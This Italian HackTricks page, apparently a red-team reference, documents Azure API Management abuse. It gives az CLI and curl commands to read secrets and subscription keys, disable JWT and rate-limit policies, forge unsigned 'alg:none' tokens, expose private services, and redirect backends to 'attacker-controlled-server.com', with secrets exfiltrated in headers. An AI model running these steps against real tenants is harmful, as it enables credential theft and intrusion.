Az - API Management Privesc

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Microsoft.ApiManagement/service/namedValues/read & Microsoft.ApiManagement/service/namedValues/listValue/action

L’attacco consiste nell’accedere a segreti sensibili memorizzati in Azure API Management Named Values, sia recuperando direttamente i valori dei segreti sia abusando delle autorizzazioni per ottenere segreti supportati da Key Vault tramite managed identities.

az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>

Microsoft.ApiManagement/service/subscriptions/read & Microsoft.ApiManagement/service/subscriptions/listSecrets/action

Per ogni subscription l’attaccante può ottenere le subscription keys usando l’endpoint listSecrets con il metodo POST:

az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"

La risposta include la subscription primary key (primaryKey) e la secondary key (secondaryKey). Con queste chiavi, l’attaccante può autenticarsi e accedere alle API pubblicate tramite l’API Management Gateway:

curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>

L’attaccante può accedere a tutte le API e ai prodotti associati alla sottoscrizione. Se la sottoscrizione ha accesso a prodotti o API sensibili, l’attaccante può ottenere informazioni riservate o eseguire operazioni non autorizzate.

Microsoft.ApiManagement/service/policies/write or Microsoft.ApiManagement/service/apis/policies/write

L’attaccante recupera prima la policy dell’API corrente:

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"

L’attaccante può modificare la policy in diversi modi a seconda dei suoi obiettivi. Ad esempio, per disabilitare l’autenticazione, se la policy include JWT token validation, l’attaccante può rimuovere o commentare quella sezione:

<policies>
<inbound>
<base />
<!-- JWT validation removed by the attacker -->
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
...
</validate-jwt> -->
</inbound>
<backend>
<base />
</backend>
<outbound>
<base />
</outbound>
<on-error>
<base />
</on-error>
</policies>

Per rimuovere i controlli di rate limiting e consentire denial-of-service attacks, l’attacker può rimuovere o commentare quota and rate-limit policies:

<policies>
<inbound>
<base />
<!-- Rate limiting removed by the attacker -->
<!-- <rate-limit calls="100" renewal-period="60" />
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
</inbound>
...
</policies>

Per modificare la backend route e reindirizzare il traffico verso un server controllato dall’attacker:

<policies>
...
<inbound>
<base />
<set-backend-service base-url="https://attacker-controlled-server.com" />
</inbound>
...
</policies>

L’attaccante applica quindi la policy modificata. Il corpo della richiesta deve essere un oggetto JSON contenente la policy in formato XML:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
}
}'

JWT Validation Misconfiguration

L’attaccante deve sapere che un’API utilizza la validazione dei JWT token e che la policy è configurata in modo errato. Le policy di validazione JWT configurate in modo errato possono avere require-signed-tokens="false" o require-expiration-time="false", il che permette al servizio di accettare unsigned tokens o token che non scadono mai.

L’attaccante crea un JWT token malevolo usando l’algoritmo none (unsigned):

# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.

L’attaccante invia una richiesta all’API usando il token malevolo:

curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path

Se la policy è configurata male con require-signed-tokens="false", il servizio accetterà il token non firmato. L’attaccante può anche creare un token senza una claim di scadenza se require-expiration-time="false".

Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action

L’attaccante verifica prima la configurazione di rete corrente del servizio:

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"

L’attaccante esamina la risposta JSON per verificare i valori di publicNetworkAccess e virtualNetworkType. Se publicNetworkAccess è impostato su false o virtualNetworkType è impostato su Internal, il servizio è configurato per accesso privato.

Per esporre il servizio su Internet, l’attaccante deve modificare entrambe le impostazioni. Se il servizio è in modalità internal (virtualNetworkType: "Internal"), l’attaccante lo imposta su None o External e abilita l’accesso alla rete pubblica. Questo può essere fatto usando l’Azure Management API:

az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Enabled",
"virtualNetworkType": "None"
}
}'

Una volta che virtualNetworkType è impostato su None o External e publicNetworkAccess è abilitato, il servizio e tutte le sue API diventano accessibili da Internet, anche se in precedenza erano protetti dietro una rete privata o endpoint privati.

Microsoft.ApiManagement/service/backends/write

L’attaccante prima elenca i backends esistenti per identificare quale modificare:

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"

L’attaccante recupera la configurazione corrente del backend che desidera modificare:

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"

L’attaccante modifica l’URL del backend per puntare a un server sotto il suo controllo. Per prima cosa ottiene l’ETag dalla risposta precedente e poi aggiorna il backend:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"description": "Backend modified by attacker"
}
}'

In alternativa, l’attaccante può configurare i backend headers per exfiltrate i Named Values contenenti segreti. Questo avviene tramite la backend credentials configuration:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"credentials": {
"header": {
"X-Secret-Value": ["{{named-value-secret}}"]
}
}
}
}'

Con questa configurazione, i Named Values vengono inviati come header in tutte le richieste verso l’attacker-controlled backend, consentendo l’exfiltration di sensitive secrets.

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks